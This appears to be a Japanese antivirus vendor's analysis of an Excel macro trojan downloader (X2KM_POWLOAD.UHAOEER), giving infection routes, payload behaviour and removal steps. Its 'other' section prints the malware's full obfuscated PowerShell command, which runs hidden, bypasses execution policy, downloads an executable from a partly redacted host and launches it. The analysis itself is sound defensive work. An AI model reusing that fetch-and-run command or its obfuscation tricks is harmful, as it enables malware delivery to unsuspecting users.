解析者: John Anthony Banes   

 別名:

VBA/TrojanDownloader.Agent.ISJ trojan (NOD32); Trojan.Mdropper (Norton)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
    なし

  • 感染報告の有無 :
    はい

  概要

感染経路 Eメールを介したスパム活動, 他のマルウェアからの作成

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ダウンロードしたファイルを実行します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

  詳細

ファイルサイズ 42,496 bytes
タイプ XLS
メモリ常駐 なし
発見日 2018年6月15日
ペイロード ファイルのダウンロード

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

  • http://{BLOCKED}m.com/headtop.gif

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

  • %User Profile%\Documents\{random numbers}.exe

(註:%User Profile% フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\<ユーザ名>"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\<ユーザ名>" です。.)

マルウェアは、ダウンロードしたファイルを実行します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

その他

エクセルファイルには以下の内容が表示され、マクロを有効にするようユーザを促します。

マルウェアは以下のPowerShellコマンドを利用して、不正なファイルをダウンロードして実行します。

  • POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tp:'+'//'+'{BLOCKED}'+'{BLOCKED}m.c'+'om/hea'+'dtop.'+'gi'+'f'),\"$lenovo\\{random numbers}.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\{random numbers}.eXE"

  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 14.312.02
初回 VSAPI パターンリリース日 2018年6月13日
VSAPI OPR パターンバージョン 14.313.00
VSAPI OPR パターンリリース日 2018年6月14日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %User Profile%\Documents\{random numbers}.exe

手順 4

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「X2KM_POWLOAD.UHAOEER」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

手順 5

Microsoft Office 製品のマクロウイルス保護機能を有効にします。

[ 詳細 ]


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